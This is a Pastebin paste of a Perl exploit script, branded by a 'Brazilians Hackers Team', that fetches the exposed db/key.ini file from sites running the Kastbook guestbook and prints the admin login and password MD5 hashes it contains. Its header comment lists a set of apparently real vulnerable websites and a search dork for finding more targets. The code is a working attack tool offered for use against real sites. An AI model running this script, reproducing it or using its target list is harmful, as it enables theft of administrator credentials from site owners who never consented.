Kyxrecon

kast.pl

Apr 19th, 2017
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.47 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # http://www.kartingdugaillou.com/kastbook/
  4. # http://thibault.vertain.net/kastbook/
  5. # http://naruto.actu.free.fr/kastbook/
  6. # http://www.asyouwish.123.fr/livredor/kastbook/
  7. # http://cloart.fr/kastbook/
  8. # http://adamsibylle.free.fr/kastbook/
  9. # http://dpi.com.free.fr/kastbook/
  10. # http://obmenuiserie.fr/kastbook/
  11. # http://www.azurbigband.org/kastbook/
  12. # http://www.amicaleduriosalado.com/kastbook/
  13. # http://web-linux.crdp-nantes.fr/web/lds/kastbook/
  14. # http://loubasse.com/kastbook/
  15. # http://www.provence-villas.eu/kastbook/
  16. ###############################
  17. # DORK ----> inurl:/kastbook #
  18. ###############################
  19.  
  20. use HTTP::Request::Common;
  21. use LWP::UserAgent;
  22.  
  23. print "\n ▒▒▒▒▒▒▒▓ \n";
  24. print " ▒▒▒▒▒▒▒▓▓▓ \n";
  25. print " ▒▓▓▓▓▓▓░░░▓ \n";
  26. print " ▒▓░░░░▓░░░░▓ \n";
  27. print " ▓░░░░░░▓░▓░▓ \n";
  28. print " ▓░░░░░░▓░░░▓ \n";
  29. print " ▓░░▓░░░▓▓▓▓ \n";
  30. print " ▒▓░░░░▓▒▒▒▒▓ \n";
  31. print " ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
  32. print " ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
  33. print " ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
  34. print " ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
  35. print " ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
  36. print " ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
  37. print " ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
  38. print " ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
  39. print " ▒▓▒▒▒▒▒▒▒▓ \n";
  40. print " ▒▒▓▒▒▒▒▒▓ \n";
  41. sleep(1);
  42. print " [+] *** Brazilians Hackers Team *** [+]\n";
  43. sleep(1);
  44. print "\t\n";
  45. print " [+] *** Skype: BrazilObscure *** [+]\n";
  46. print "\t\n";
  47.  
  48. sleep(1);
  49. print "\t\n";
  50.  
  51. print("\n". ' ###########################################' ."\n");
  52. print(' # ----- EXPLOIT KASTBOOK ----- #' ."\n");
  53. print(' # #' ."\n");
  54. print(' # http://pastebin.com/u/BrazilObscure1 #' ."\n");
  55. print(' # #' ."\n");
  56. print(' # http://Youtube.com/user/BrazilObscure #' ."\n");
  57. print(' # #' ."\n");
  58. print(' ###########################################' . "\n\n\n");
  59. sleep(1);
  60.  
  61.  
  62.  
  63. if($ARGV[0] eq "")
  64. {
  65. print(" [?] MODO DE USAR: ./Exploit.pl (URL)" . "\n\n");
  66. sleep(1);
  67. print(" [?] EXEMPLO: ./Exploit.pl http://www.site.com/kastbook/" . "\n\n");
  68. sleep(1);
  69. exit;
  70. }
  71.  
  72. my $URL = '';
  73. my $input = $ARGV[0];
  74.  
  75. if(substr($input, -1, 1) eq '/')
  76. {
  77. $URL = $input . 'db/key.ini';
  78. }
  79. else
  80. {
  81. $URL = $input . '/db/key.ini';
  82. }
  83.  
  84. my $useragent = LWP::UserAgent -> new;
  85. my $request = $useragent -> get($URL);
  86.  
  87. if ($request -> is_success)
  88. {
  89. print(" [~] Request: \tOK" . "\n\n");
  90. sleep(1);
  91.  
  92. my $result = $request -> content;
  93.  
  94. if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
  95. {
  96. @Hash = split(/&/, $result);
  97.  
  98. $Hash = @Hash;
  99. $Hash[0] = substr($Hash[1], 15, 32);
  100. $Hash[1] = substr($Hash[2], 15, 32);
  101.  
  102. if($Hash[0] ne "")
  103. {
  104. print(" [+] LOGIN: \t" . $Hash[0] . " (MD5)\n\n");
  105. sleep(1);
  106. }
  107. else
  108. {
  109. print(' [-] NAO E POSSIVEL OBTER O LOGIN !' . "\n\n");
  110. sleep(1);
  111. }
  112.  
  113. if($Hash[1] ne "")
  114. {
  115. print(" [+] SENHA: \t" . $Hash[1] . " (MD5)\n\n");
  116. sleep(1);
  117. }
  118. else
  119. {
  120. print(' [-] NAO E POSSIVEL OBTER A SENHA !' . "\n\n");
  121. sleep(1);
  122. }
  123. }
  124. else
  125. {
  126. print(' [-] NAO E POSSIVEL ENCONTRAR OS VALORES CORRETOS ...' . "\n\n");
  127. sleep(1);
  128. }
  129. }
  130. else
  131. {
  132. print(" [-] Request: \tErro ..." . "\n\n");
  133. sleep(1);
  134. }
Add Comment
Please, Sign In to add comment